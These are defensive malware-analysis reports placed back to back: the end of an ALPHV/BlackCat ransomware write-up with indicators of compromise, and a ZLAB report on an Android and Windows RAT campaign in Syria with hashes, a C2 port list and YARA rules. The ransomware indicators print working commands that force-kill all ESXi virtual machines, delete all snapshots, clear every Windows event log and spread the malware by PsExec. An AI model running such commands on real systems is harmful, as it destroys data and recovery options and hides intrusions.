| enable_set_wallpaper | Boolean value, set to ‘true’ in recently observed samples resulting in the Windows desktop wallpaper displaying ‘note_short_text’. |
| enable_esxi_vm_kill | Boolean value, determines if VMware ESXi virtual machines will be terminated. |
| enable_esxi_vm_snapshot_kill | Boolean value, determines if VMware ESXi virtual machine snapshots will be removed. |
| strict_include_paths | Not set in recently observed samples, results in the encryption process only processing files within the specified paths. |
| esxi_vm_kill_exclude | Boolean value, excludes specific VMware ESXi virtual machines from the termination process. |
Although many options appear within the embedded configurations of both samples, it appears that the ransomware will ignore those that don’t apply to the host. Based on the command-line options available to both variants, many of the embedded configuration options can likely be overridden at execution.
### Command-line Interface
Launching the ransomware with the ‘--help’ parameter shows available options and provides insight into its capabilities. Differences in the options displayed may indicate an earlier version or victim/Windows-specific variant, with many options allowing the threat actor to override any embedded configuration. Analysis of a recent Linux variant provides insight into support for VMware ESXi hosts including the ability to stop virtual machines and, if enabled, wipe virtual machine snapshots to thwart recovery efforts.
## Windows Variant
Having initialized its core features, including the creation of the file worker pool, privilege escalation capabilities can be executed by the Windows variant under certain conditions. Given that the manual execution of the ransomware element occurs post-intrusion, after the reconnaissance and data exfiltration stages, it is expected that the threat actor would already have elevated privileges. The following privilege escalation capabilities appear to be embedded within the ransomware:
- ‘Masquerade_PEB’, previously released as a proof-of-concept script used to give a PowerShell process the appearance of another process that in turn could allow elevated operations.
- User Account Control (UAC) bypass via an elevated COM interface, in this case abusing the Microsoft Connection Manager Admin API Helper for Setup COM object.
- CVE-2016-0099, a Secondary Logon Service exploit via the ‘CreateProcessWithLogonW’ API.
Additionally, the Windows variant performs a number of processes prior to the encryption phase that differs from common ransomware threats, namely:
- Acquiring the host universally unique identifier (UUID) using the Windows Management Interface command-line utility (WMIC).
- Enabling both ‘remote to local’ and ‘remote to remote’ symbolic links using the file system utility (fsutil).
- Setting the number of network requests the Server Service can make to the maximum, avoiding any remote file access issues when the encryption process executes, by updating the configuration in the Windows registry.
- Enumerating all local disk partitions and, if any hidden partitions are found, mounting these to allow additional data to be encrypted.
- Propagation, if enabled, likely uses credentials contained within the embedded configuration and makes use of PsExec to execute the ransomware on a remote host.
In addition to suppressing the display of the PsExec license dialog, the propagated ransomware process will be executed using the SYSTEM account in a non-interactive session, negating the need to wait for the remote process to complete, with the ransomware executable being copied to the remote host and overwriting any existing file. Notably, the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory.
As expected, common Windows ransomware traits are also performed:
- Deletion of shadow copies using the Volume Shadow Copy Service (VSS) administrative utility to thwart recovery efforts.
- Terminating the processes and/or services specified within the configuration to minimize the number of locked (open) files as well as potentially disabling backup utilities and security software to evade detection.
- Emptying the Recycle Bin.
- Defaulting to AES encryption, signified by the ‘best’ configuration option, the process can fallback or be overridden to use ChaCha20.
After a file has been encrypted, the pre-configured seven-character alphanumeric file extension is appended to the filename, a value that appears to differ between victims. Following the encryption phase, a number of final tasks are performed:
- Network discovery, using NetBIOS and SMB, likely in preparation for propagation.
- Creating the predefined ransom note in each folder containing encrypted files as well as an image containing the short ransom note on the Desktop of all users.
- Setting the desktop wallpaper to the dropped PNG image file for each user through a Windows registry key update.
- Repeating the shadow copy deletion process using vssadmin.
- Using the Windows Event Log utility to list and then clear all event logs.
## VMware ESXi Behaviour
Assuming the ESXi options are not disabled, the VMware ESXi command-line interface utility is called and generates a comma-separated list of all running virtual machines. The output of this command is subsequently ‘piped’ to AWK, a text-processing utility, to parse the result and launch the ESXI command-line interface utility to force terminate each virtual machine. Utilizing the VMware Virtual Infrastructure Management utility, another list of virtual machines is gathered and parsed, the results of which are passed back to vimcmd with the ‘snapshot.removeall’ command that results in any, and all, snapshots being deleted.
## Victimology
As is common with big-game hunter ransomware threats, victims are typically large organizations from which bigger ransoms can be extorted with reports suggesting that demands have ranged from US$400K up to $3M payable in cryptocurrency. While the true number of victims is unknown, over twenty organizations have been named on the group’s Tor ‘leak site’, across a variety of sectors and countries including Australia, Bahamas, France, Germany, Italy, Netherlands, Philippines, Spain, United Kingdom, and the United States.
## Indicators of Compromise (IOC)
### Linux Processes
The following legitimate, albeit suspicious, processes were spawned by the Linux/VMware ESXi variant:
- esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process list | awk -F "\"*,\"*" '{system("esxcli vm process kill --type=force --world-id="$1)}'
- for i in `vim-cmd vmsvc/getallvms| awk '{print$1}'`;do vim-cmd vmsvc/snapshot.removeall $i & done
### Windows Processes
The following legitimate, albeit suspicious, processes were spawned by the Windows variant:
- arp -a
- %SYSTEM32%\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
- for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\""
- fsutil behavior set SymlinkEvaluation R2L:1
- fsutil behavior set SymlinkEvaluation R2R:1
- psexec.exe -accepteula \\<TARGET_HOST> -u <USERNAME> -p <PASSWORD> -s -d -f -c <ALPHV_EXECUTABLE> [FLAGS] [OPTIONS] --access-token <ACCESS_TOKEN> [SUBCOMMAND]
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
- wmic csproduct get UUID
### Linux Ransomware Executables (SHA256)
Given that each sample is victim-specific, the following are provided for research rather than detection purposes:
- 3a08e3bfec2db5dbece359ac9662e65361a8625a0122e68b56cd5ef3aedf8ce1
- 5121f08cf8614a65d7a86c2f462c0694c132e2877a7f54ab7fcefd7ee5235a42
- 9802a1e8fb425ac3a7c0a7fca5a17cfcb7f3f5f0962deb29e3982f0bece95e26
- e7060538ee4b48b0b975c8928c617f218703dab7aa7814ce97481596f2a78556
- f7a038f9b91c40e9d67f4168997d7d8c12c2d27cd9e36c413dd021796a24e083
- f8c08d00ff6e8c6adb1a93cd133b19302d0b651afd73ccb54e3b6ac6c60d99c6
### Windows Ransomware Executables (SHA256)
Given that each sample is victim-specific, the following are provided for research rather than detection purposes:
- 0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479
- 13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31
- 15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed
- 1af1ca666e48afc933e2eda0ae1d6e88ebd23d27c54fd1d882161fd8c70b678e
- 2587001d6599f0ec03534ea823aab0febb75e83f657fadc3a662338cc08646b0
- 28d7e6fe31dc00f82cb032ba29aad6429837ba5efb83c2ce4d31d565896e1169
- 2cf54942e8cf0ef6296deaa7975618dadff0c32535295d3f0d5f577552229ffc
- 38834b796ed025563774167716a477e9217d45e47def20facb027325f2a790d1
- 3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83
- 4e18f9293a6a72d5d42dad179b532407f45663098f959ea552ae43dbb9725cbf
- 59868f4b346bd401e067380cac69080709c86e06fae219bfb5bc17605a71ab3f
- 5bdc0fb5cfbd42de726aacc40eddca034b5fa4afcc88ddfb40a3d9ae18672898
- 658e07739ad0137bceb910a351ce3fe4913f6fcc3f63e6ff2eb726e45f29e582
- 7154fdb1ef9044da59fcfdbdd1ed9abc1a594cacb41a0aeddb5cd9fdaeea5ea8
- 722f1c1527b2c788746fec4dd1af70b0c703644336909735f8f23f6ef265784b
- 731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161
- 7b2449bb8be1b37a9d580c2592a67a759a3116fe640041d0f36dc93ca3db4487
- 7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e
- 9f6876762614e407d0ee6005f165dd4bbd12cb21986abc4a3a5c7dc6271fcdc3
- aae77d41eba652683f3ae114fadec279d5759052d2d774f149f3055bf40c4c14
- b588823eb5c65f36d067d496881d9c704d3ba57100c273656a56a43215f35442
- bd337d4e83ab1c2cacb43e4569f977d188f1bb7c7a077026304bf186d49d4117
- be8c5d07ab6e39db28c40db20a32f47a97b7ec9f26c9003f9101a154a5a98486
- c3e5d4e62ae4eca2bfca22f8f3c8cbec12757f78107e91e85404611548e06e40
- c5ad3534e1c939661b71f56144d19ff36e9ea365fdb47e4f8e2d267c39376486
- c8b3b67ea4d7625f8b37ba59eed5c9406b3ef04b7a19b97e5dd5dab1bd59f283
- cda37b13d1fdee1b4262b5a6146a35d8fc88fa572e55437a47a950037cc65d40
- cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae
- d767524e1bbb8d50129485ffa667eb1d379c745c30d4588672636998c20f857f
- f837f1cd60e9941aa60f7be50a8f2aaaac380f560db8ee001408f35c1b7a97cb
Jason Hill is a Security Researcher within the Varonis Research Team and has a penchant for all things threat intelligence. Equally happy analyzing nefarious files or investigating badness, Jason is driven by the desire to make the cyberworld a safer place. |
# ZLAB
## Malware Analysis Report
### A long-term espionage campaign in Syria.
**Date:** 23/07/2018
**CSE CyberSec Enterprise SPA**
Via G.B. Martini 6, Rome, Italy 00100, Italia
Email: info@csecybsec.com
Website: www.csecybsec.com
## The Open Repository and the Fake Promotional Site
A few days ago, the security researcher Lukas Stefanko from Eset discovered an open repository containing some Android applications. The folder was found on a compromised website at the following URL: hxxp://chatsecurelite.uk[.]to. This website is written in Arabic language and translating its content it seems to offer a secure messaging app. The homepage shows how the application works and includes some slides about it.
The content on the website says that most common messaging applications are vulnerable and attackers can compromise them to spy on the users. The author claims to have developed an app called “ChatSecure” to mitigate security vulnerabilities that have been reported in popular messaging apps, including WhatsApp and Telegram. ChatSecure is the name of a legitimate free and open source iOS messaging app that features OMEMO encryption and OTR encryption over XMPP. The content of the bogus website explains that also Office applications are vulnerable to cyber attacks and offers patches to address the vulnerabilities exploited by the hackers.
Threat actors exploited the interest in the ChatSecure, currently available only for Apple iOS devices, to trick Android users into believing that the Android version of the app is not available. The Android app poses itself as a fake update for the legit app.
## The malicious apk files
In this paragraph, we’ll report the gathered samples that were stored in the open repository.
- “AndroidOfficeUpdate2018.apk”
- “لاوجلل سيفوأ ثيدحت.apk” ("UpdateOfficeforMobile.apk")
- “chatsecure2018.apk”
- “OfficeUpdate.apk”
**MD5:** 6296586cf9a59b25d1b8ab3eeb0c2a33
**SHA-1:** 5d9c175d8b84c03c7e656e5b29a7b9ab69e5a17b
**SHA-256:** 54d6dc8300fad699c3fdfaa6614250f1151208dc6c5a4ede6097470e4af7817b
**File Size:** 1517 KB
**Icon:** --
- “telegram2018.apk”
**MD5:** c741c654198a900653163ca7e9c5158c
**SHA-1:** 0c5611b383537faa715c31fa182cff92b73c97db
**SHA-256:** db70c8d699a3173028e768914b297a4c0c3a96c457845b38dfac535bc1b48eb3
**File Size:** 1613 KB
**Icon:**
- “whatsapp2018.apk”
**MD5:** cf5e62ebbf4be2417b9d3849c3c3f9c9
**SHA-1:** fcc38a0acdfcde59bf1bc4b4227feb47b5f71ad4
**SHA-256:** 041b9066f42b78c5f2c9ff25a3bba3155a21c21fa0ee55aea510f456b3bc1847
**File Size:** 1675 KB
**Icon:**
- “chatsecure2018.apk”
**MD5:** f59cfb0b972fdf65baad7c37681d49ef
**SHA-1:** eace586f5b1a4eae6d1e0503e079753e0ac88176
**SHA-256:** caf0f58ebe2fa540942edac641d34bbc8983ee924fd6a60f42642574bbcd3987
**File Size:** 1518 KB
**Icon:** --
- “telegram2018.apk”
**MD5:** 5de80e4b174f17776b07193a2280b252
**SHA-1:** 6867eff4edc425606ac746e87a9df1b7424a1e49
**SHA-256:** 2d0a56a347779ffdc3250deadda50008d6fae9b080c20892714348f8a44fca4b
**File Size:** 1613 KB
**Icon:**
- “whatsapp2018.apk”
**MD5:** f0d240bac174e38c831afdd80e50a992
**SHA-1:** f4cc667a05fb478b126207848a8da340327d3329
**SHA-256:** b15b5a1a120302f32c40c7c7532581ee932859fdfb5f1b3018de679646b8c972
**File Size:** 1675 KB
**Icon:**
Actually, the above apk files contain the same malicious code; they differ in the used icons of the application and the variable package name in which the code is written.
The malware shows a classical RAT behavior; it includes a series of hard-coded commands that the C2 can send to the bot. The list of accepted commands, with the relative opcodes is the following:
After installation and according to the list of commands, the first opcode captured during the analysis is “Connect to Server”, associated with the 17 opcode, in order to register the new bot on the Command and Control. As we can see, the new bot sends to the Command and Control other information about the compromised device, such as:
- Which apk starts the infection
- Android version of the device
- Wifi or mobile internet network
- Installation of the bot date
- Device Name
- IMEI
- Mobile operator
- Root permissions enabled check
Subsequently, the malware starts to ping periodically the C2C using the opcode 30.
The hardcoded port used in the malware is 1740, but during the analysis, it was changed by the command and control to 11950 with another opcode provided in the list, the opcode 39. This command is able to change the IP and the port of the Command and Control.
## A suspicious windows executable hidden inside the apk
Inspecting the Apk file, we found an anomalous file in the path “/res/raw” called “hmzvbs”. Conducting a deep analysis of the suspicious file, we have noticed that this is an executable windows file written in C# .NET language. The reason why this executable file is hidden inside the apk is still unknown; we have found no track of any exploit code that could be used by the malware to perform lateral movements to deliver the executable to a Windows machine.
**“hmzvbs.exe”**
**MD5:** bd251ce0f81089ceb6db6c5ead43cb8e
**SHA-1:** 9eb517b231786f34d70ccfe9dda2f33252eece86
**SHA-256:** 9616976a2f1c753c5fc7338944ccf9c2cfedf9a9856f8ea40cb182a6b102aa6a
**File Size:** 459.06 KB
This file is a dropper file for an embedded DLL, that is encrypted with a custom routine and that it is decoded at runtime. So, inserting a breakpoint after the routine it was simple to retrieve the real payload of the malware.
**DLL file**
**MD5:** ee65368ee4da769245cde7022bd910a4
**SHA-1:** 4e6fc7ab754be0957449d9782d7e280c09c1c98d
**SHA-256:** 0fd267388d7c221ab8dd450ef271f21ac6e3b5cdfef23b1456084744f9b13fc0
**File Size:** 97 KB
After totally decrypting the DLL, the “hmzvbs” file copies itself in the path “\%APPDATA%\Local\Temp” with the name “cebto_task_64.exe” and executes this new file.
The behavior of the DLL payload contained in “cebto_task_64.exe” file is similar to the Android malware, but in this case, the communication is based on the port 5005 instead of 1740. At this moment, the computer victim is a bot and it can communicate with C2C through a series of hardcoded commands, that are very similar to the list previously shown for Android malware.
In particular, the list of commands is here reported:
To ensure persistence after rebooting the system, “cebto_task_64.exe” file executes a scheduling command.
## The Command and Control Infrastructure
An unusual characteristic of this malware attack is the use of the Command and Control server. The C2 is located in the same area under attack while usually threat actors hide and locate their servers in places different from those attacked, in order to make hard the investigations. Another characteristic of the malware is that the C2 has an impressive number of open ports; the complete list is reported below:
```
82/tcp open xfer
4033/tcp open sanavigator
4093/tcp open pvxpluscs
1719/tcp open h323gatestat
4034/tcp open ubxd
4094/tcp open sysrqd
1721/tcp open caicci
4035/tcp open wap-push-http
4095/tcp open xtgui
1740/tcp open encore
4036/tcp open wap-push-https
4096/tcp open bre
1741/tcp open cisco-net-mgmt
4037/tcp open ravehd
4097/tcp open patrolview
1742/tcp open 3Com-nsd
4038/tcp open fazzt-ptp
4098/tcp open drmsfsd
1743/tcp open cinegrfx-lm
4039/tcp open fazzt-admin
4099/tcp open dpcp
1744/tcp open ncpm-ft
4040/tcp open yo-main
4100/tcp open igo-incognito
1745/tcp open remote-winsock
4041/tcp open houston
4101/tcp open brlp-0
1746/tcp open ftrapid-1
4042/tcp open ldxp
4102/tcp open brlp-1
1747/tcp open ftrapid-2
4043/tcp open nirp
4103/tcp open brlp-2
1748/tcp open oracle-em1
4044/tcp open ltp
4104/tcp open brlp-3
1749/tcp open aspen-services
4045/tcp open lockd
4105/tcp open shofarplayer
1750/tcp open sslp
4046/tcp open acp-proto
4106/tcp open synchronite
1791/tcp open ea1
4047/tcp open ctp-state
4107/tcp open j-ac
1792/tcp open ibm-dt-2
4048/tcp open unknown
4108/tcp open accel
1793/tcp open rsc-robot
4049/tcp open wafs
4109/tcp open izm
1794/tcp open cera-bcm
4050/tcp open cisco-wafs
4110/tcp open g2tag
1795/tcp open dpi-proxy
4051/tcp open cppdp
4111/tcp open xgrid
1797/tcp open uma
4052/tcp open interact
4112/tcp open apple-vpns-rp
1798/tcp open etp
4053/tcp open ccu-comm-1
4113/tcp open aipn-reg
1799/tcp open netrisk
4054/tcp open ccu-comm-2
4114/tcp open jomamqmonitor
1800/tcp open ansys-lm
4055/tcp open ccu-comm-3
4115/tcp open cds
1801/tcp open msmq
4056/tcp open lms
4116/tcp open smartcard-tls
1802/tcp open concomp1
4057/tcp open wfm
4117/tcp open hillrserv
1803/tcp open hp-hcip-gwy
4058/tcp open kingfisher
4118/tcp open netscript
1804/tcp open enl
4059/tcp open dlms-cosem
4119/tcp open assuria-slm
4000/tcp open remoteanything
4060/tcp open dsmeter_iatc
4120/tcp open minirem
4001/tcp open newoak
4061/tcp open ice-location
4121/tcp open e-builder
4002/tcp open mlchat-proxy
4062/tcp open ice-slocation
4122/tcp open fprams
4003/tcp open pxc-splr-ft
4063/tcp open ice-router
4123/tcp open z-wave
4004/tcp open pxc-roid
4064/tcp open ice-srouter
4124/tcp open tigv2
4005/tcp open pxc-pin
4065/tcp open avanti_cdp
4125/tcp open rww
4006/tcp open pxc-spvr
4066/tcp open pmas
4126/tcp open ddrepl
4007/tcp open pxc-splr
4067/tcp open idp
4127/tcp open unikeypro
4008/tcp open netcheque
4068/tcp open ipfltbcst
4128/tcp open nufw
4009/tcp open chimera-hwm
4069/tcp open minger
4129/tcp open nuauth
4010/tcp open samsung-unidex
4070/tcp open tripe
4130/tcp open fronet
4011/tcp open altserviceboot
4071/tcp open aibkup
4131/tcp open stars
4012/tcp open pda-gate
4072/tcp open zieto-sock
4132/tcp open nuts_dem
4013/tcp open acl-manager
4073/tcp open iRAPP
4133/tcp open nuts_bootp
4014/tcp open taiclock
4074/tcp open cequint-cityid
4134/tcp open nifty-hmi
4015/tcp open talarian-mcast1
4075/tcp open perimlan
4135/tcp open cl-db-attach
4016/tcp open talarian-mcast2
4076/tcp open seraph
4136/tcp open cl-db-request
4017/tcp open talarian-mcast3
4077/tcp open ascomalarm
4137/tcp open cl-db-remote
4018/tcp open talarian-mcast4
4078/tcp open cssp
4138/tcp open nettest
4019/tcp open talarian-mcast5
4079/tcp open santools
4139/tcp open thrtx
4020/tcp open trap
4080/tcp open lorica-in
4140/tcp open cedros_fds
4021/tcp open nexus-portal
4081/tcp open lorica-in-sec
4141/tcp open oirtgsvc
4022/tcp open dnox
4082/tcp open lorica-out
4142/tcp open oidocsvc
4023/tcp open esnm-zoning
4083/tcp open lorica-out-sec
4143/tcp open oidsr
4024/tcp open tnp1-port
4084/tcp open fortisphere-vm
4144/tcp open wincim
4025/tcp open partimage
4085/tcp open ezmessagesrv
4145/tcp open vvr-control
4026/tcp open as-debug
4086/tcp open ftsync
4146/tcp open tgcconnect
4027/tcp open bxp
4087/tcp open applusservice
4147/tcp open vrxpservman
4028/tcp open dtserver-port
4088/tcp open npsp
4148/tcp open hhb-handheld
4029/tcp open ip-qsig
4089/tcp open opencore
4149/tcp open agslb
4030/tcp open jdmn-port
4090/tcp open omasgport
4150/tcp open PowerAlert-nsa
4031/tcp open suucp
4091/tcp open ewinstaller
4151/tcp open menandmice_no
4032/tcp open vrts-auth-port
4092/tcp open ewdgs
4152/tcp open idig_mux
4153/tcp open mbl-battd
4213/tcp open vrml-multi-use
4273/tcp open vrml-multi-use
4154/tcp open atlinks
4214/tcp open vrml-multi-use
4274/tcp open vrml-multi-use
4155/tcp open bzr
4215/tcp open vrml-multi-use
4275/tcp open vrml-multi-use
4156/tcp open stat-results
4216/tcp open vrml-multi-use
4276/tcp open vrml-multi-use
4157/tcp open stat-scanner
4217/tcp open vrml-multi-use
4277/tcp open vrml-multi-use
4158/tcp open stat-cc
4218/tcp open vrml-multi-use
4278/tcp open vrml-multi-use
4159/tcp open nss
4219/tcp open vrml-multi-use
4279/tcp open vrml-multi-use
4160/tcp open jini-discovery
4220/tcp open vrml-multi-use
4280/tcp open vrml-multi-use
4161/tcp open omscontact
4221/tcp open vrml-multi-use
4281/tcp open vrml-multi-use
4162/tcp open omstopology
4222/tcp open vrml-multi-use
4282/tcp open vrml-multi-use
4163/tcp open silverpeakpeer
4223/tcp open vrml-multi-use
4283/tcp open vrml-multi-use
4164/tcp open silverpeakcom
4224/tcp open xtell
4284/tcp open vrml-multi-use
4165/tcp open altcp
4225/tcp open vrml-multi-use
4285/tcp open vrml-multi-use
4166/tcp open joost
4226/tcp open vrml-multi-use
4286/tcp open vrml-multi-use
4167/tcp open ddgn
4227/tcp open vrml-multi-use
4287/tcp open vrml-multi-use
4168/tcp open pslicser
4228/tcp open vrml-multi-use
4288/tcp open vrml-multi-use
4169/tcp open iadt
4229/tcp open vrml-multi-use
4289/tcp open vrml-multi-use
4170/tcp open d-cinema-csp
4230/tcp open vrml-multi-use
4290/tcp open vrml-multi-use
4171/tcp open ml-svnet
4231/tcp open vrml-multi-use
4291/tcp open vrml-multi-use
4172/tcp open pcoip
4232/tcp open vrml-multi-use
4292/tcp open vrml-multi-use
4173/tcp open mma-discovery
4233/tcp open vrml-multi-use
4293/tcp open vrml-multi-use
4174/tcp open smcluster
4234/tcp open vrml-multi-use
4294/tcp open vrml-multi-use
4175/tcp open bccp
4235/tcp open vrml-multi-use
4295/tcp open vrml-multi-use
4176/tcp open tl-ipcproxy
4236/tcp open vrml-multi-use
4296/tcp open vrml-multi-use
4177/tcp open wello
4237/tcp open vrml-multi-use
4297/tcp open vrml-multi-use
4178/tcp open storman
4238/tcp open vrml-multi-use
4298/tcp open vrml-multi-use
4179/tcp open MaxumSP
4239/tcp open vrml-multi-use
4299/tcp open vrml-multi-use
4180/tcp open httpx
4240/tcp open vrml-multi-use
4300/tcp open corelccam
4181/tcp open macbak
4241/tcp open vrml-multi-use
4301/tcp open d-data
4182/tcp open pcptcpservice
4242/tcp open vrml-multi-use
4302/tcp open d-data-control
4183/tcp open gmmp
4243/tcp open vrml-multi-use
4303/tcp open srcp
4184/tcp open universe_suite
4244/tcp open vrml-multi-use
4304/tcp open owserver
4185/tcp open wcpp
4245/tcp open vrml-multi-use
4305/tcp open batman
4186/tcp open boxbackupstor
4246/tcp open vrml-multi-use
4306/tcp open pinghgl
4187/tcp open csc_proxy
4247/tcp open vrml-multi-use
4307/tcp open visicron-vs
4188/tcp open vatata
4248/tcp open vrml-multi-use
4308/tcp open compx-lockview
4189/tcp open pcep
4249/tcp open vrml-multi-use
4309/tcp open dserver
4190/tcp open sieve
4250/tcp open vrml-multi-use
4310/tcp open mirrtex
4191/tcp open dsmipv6
4251/tcp open vrml-multi-use
4311/tcp open p6ssmc
4192/tcp open azeti
4252/tcp open vrml-multi-use
4312/tcp open pscl-mgt
4193/tcp open pvxplusio
4253/tcp open vrml-multi-use
4313/tcp open perrla
4194/tcp open unknown
4254/tcp open vrml-multi-use
4314/tcp open choiceview-agt
4195/tcp open unknown
4255/tcp open vrml-multi-use
4315/tcp open unknown
4196/tcp open unknown
4256/tcp open vrml-multi-use
4316/tcp open choiceview-clt
4197/tcp open hctl
4257/tcp open vrml-multi-use
4317/tcp open unknown
4198/tcp open unknown
4258/tcp open vrml-multi-use
4318/tcp open unknown
4199/tcp open eims-admin
4259/tcp open vrml-multi-use
4319/tcp open unknown
4200/tcp open vrml-multi-use
4260/tcp open vrml-multi-use
4320/tcp open fdt-rcatp
4201/tcp open vrml-multi-use
4261/tcp open vrml-multi-use
4321/tcp open rwhois
4202/tcp open vrml-multi-use
4262/tcp open vrml-multi-use
4322/tcp open trim-event
4203/tcp open vrml-multi-use
4263/tcp open vrml-multi-use
4323/tcp open trim-ice
4204/tcp open vrml-multi-use
4264/tcp open vrml-multi-use
4324/tcp open balour
4205/tcp open vrml-multi-use
4265/tcp open vrml-multi-use
4325/tcp open geognosisman
4206/tcp open vrml-multi-use
4266/tcp open vrml-multi-use
4326/tcp open geognosis
4207/tcp open vrml-multi-use
4267/tcp open vrml-multi-use
4327/tcp open jaxer-web
4208/tcp open vrml-multi-use
4268/tcp open vrml-multi-use
4328/tcp open jaxer-manager
4209/tcp open vrml-multi-use
4269/tcp open vrml-multi-use
4329/tcp open publiqare-sync
4210/tcp open vrml-multi-use
4270/tcp open vrml-multi-use
4330/tcp open dey-sapi
4211/tcp open vrml-multi-use
4271/tcp open vrml-multi-use
4331/tcp open ktickets-rest
4212/tcp open vrml-multi-use
4272/tcp open vrml-multi-use
4332/tcp open unknown
4333/tcp open msql
4393/tcp open apwi-rxspooler
4453/tcp open nssalertmgr
4334/tcp open netconf-ch-ssh
4394/tcp open apwi-disc
4454/tcp open nssagentmgr
4335/tcp open netconf-ch-tls
4395/tcp open omnivisionesx
4455/tcp open prchat-user
4336/tcp open restconf-ch-tls
4396/tcp open fly
4456/tcp open prchat-server
4337/tcp open unknown
4397/tcp open unknown
4457/tcp open prRegister
4338/tcp open unknown
4398/tcp open unknown
4458/tcp open mcp
4339/tcp open unknown
4399/tcp open unknown
4459/tcp open unknown
4340/tcp open gaia
4400/tcp open ds-srv
4460/tcp open unknown
4341/tcp open lisp-data
4401/tcp open ds-srvr
4461/tcp open unknown
4342/tcp open lisp-cons
4402/tcp open ds-clnt
4462/tcp open unknown
4343/tcp open unicall
4403/tcp open ds-user
4463/tcp open unknown
4344/tcp open vinainstall
4404/tcp open ds-admin
4464/tcp open unknown
4345/tcp open m4-network-as
4405/tcp open ds-mail
4465/tcp open unknown
4346/tcp open elanlm
4406/tcp open ds-slp
4466/tcp open unknown
4347/tcp open lansurveyor
4407/tcp open nacagent
4467/tcp open unknown
4348/tcp open itose
4408/tcp open slscc
4468/tcp open unknown
4349/tcp open fsportmap
4409/tcp open netcabinet-com
4469/tcp open unknown
4350/tcp open net-device
4410/tcp open itwo-server
4470/tcp open unknown
4351/tcp open plcy-net-svcs
4411/tcp open found
4471/tcp open unknown
4352/tcp open pjlink
4412/tcp open smallchat
4472/tcp open unknown
4353/tcp open f5-iquery
4413/tcp open avi-nms
4473/tcp open unknown
4354/tcp open qsnet-trans
4414/tcp open updog
4474/tcp open unknown
4355/tcp open qsnet-workst
4415/tcp open brcd-vr-req
4475/tcp open unknown
4356/tcp open qsnet-assist
4416/tcp open pjj-player
4476/tcp open unknown
4357/tcp open qsnet-cond
4417/tcp open workflowdir
4477/tcp open unknown
4358/tcp open qsnet-nucl
4418/tcp open axysbridge
4478/tcp open unknown
4359/tcp open omabcastltkm
4419/tcp open cbp
4479/tcp open unknown
4360/tcp open matrix_vnet
4420/tcp open nvm-express
4480/tcp open proxy-plus
4361/tcp open nacnl
4421/tcp open scaleft
4481/tcp open unknown
4362/tcp open afore-vdp-disc
4422/tcp open tsepisp
4482/tcp open unknown
4363/tcp open unknown
4423/tcp open thingkit
4483/tcp open unknown
4364/tcp open unknown
4424/tcp open unknown
4484/tcp open hpssmgmt
4365/tcp open unknown
4425/tcp open netrockey6
4485/tcp open assyst-dr
4366/tcp open shadowstream
4426/tcp open beacon-port-2
4486/tcp open icms
4367/tcp open unknown
4427/tcp open drizzle
4487/tcp open prex-tcp
4368/tcp open wxbrief
4428/tcp open omviserver
4488/tcp open awacs-ice
4369/tcp open epmd
4429/tcp open omviagent
4489/tcp open unknown
4370/tcp open elpro_tunnel
4430/tcp open rsqlserver
4490/tcp open unknown
4371/tcp open l2c-control
4431/tcp open wspipe
4491/tcp open unknown
4372/tcp open l2c-data
4432/tcp open l-acoustics
4492/tcp open unknown
4373/tcp open remctl
4433/tcp open vop
4493/tcp open unknown
4374/tcp open psi-ptt
4434/tcp open unknown
4494/tcp open unknown
4375/tcp open tolteces
4435/tcp open unknown
4495/tcp open unknown
4376/tcp open bip
4436/tcp open unknown
4496/tcp open unknown
4377/tcp open cp-spxsvr 4437/tcp open unknown
4497/tcp open unknown
4378/tcp open cp-spxdpy 4438/tcp open unknown
4498/tcp open unknown
4379/tcp open ctdb 4439/tcp open unknown
4499/tcp open unknown
4380/tcp open unknown 4440/tcp open unknown
4500/tcp open sae-urn
4381/tcp open unknown 4441/tcp open netblox
8291/tcp open unknown
4382/tcp open unknown 4442/tcp open saris
17000/tcp open unknown
4383/tcp open unknown 4443/tcp open pharos
17001/tcp open unknown
4384/tcp open unknown 4444/tcp open krb524
17002/tcp open unknown
4385/tcp open unknown 4445/tcp open upnotifyp
17003/tcp open unknown
4386/tcp open unknown 4446/tcp open n1-fwp
17010/tcp open unknown
4387/tcp open unknown 4447/tcp open n1-rmgmt
20003/tcp open commtact-https
4388/tcp open unknown 4448/tcp open asc-slmd
60010/tcp open unknown
4389/tcp open xandros-cms 4449/tcp open
4390/tcp open wiegand 4450/tcp open
4391/tcp open apwi-imserver 4451/tcp open
4392/tcp open apwi-rxserver 4452/tcp open
```
The high number of opened ports suggests us two possible scenarios:
- Attackers are enlarging the surface of attack to make hard into discovering which are the real ports used for the malware communication.
- The server works also as a honeypot.
## Yara rules
```yara
import "pe"
rule androidMalware {
meta:
description = "Yara Rule for APT-C-27 Android malware"
author = "CSE CybSec Enterprise - Z-Lab"
last_updated = "2018-07-20"
tlp = "white"
category = "informational"
strings:
$a = "hmzvbs"
$b = { ?8 ?D ?A }
condition:
all of them
}
rule windowsExecutableMalware {
meta:
description = "Yara Rule for APT-C-27 Windows malware"
author = "CSE CybSec Enterprise - Z-Lab"
last_updated = "2018-07-20"
tlp = "white"
category = "informational"
condition:
pe.version_info["InternalName"] contains "WiNANd5ro16XP" and
pe.imports("mscoree.dll")
}
rule embeddedDLL {
meta:
description = "Yara Rule for APT-C-27 Embedded DLL"
author = "CSE CybSec Enterprise - Z-Lab"
last_updated = "2018-07-20"
tlp = "white"
category = "informational"
condition:
pe.version_info["InternalName"] contains "Win64AndoX" and
pe.imports("mscoree.dll")
}
``` |
# Analyzing the TRITON Industrial Malware
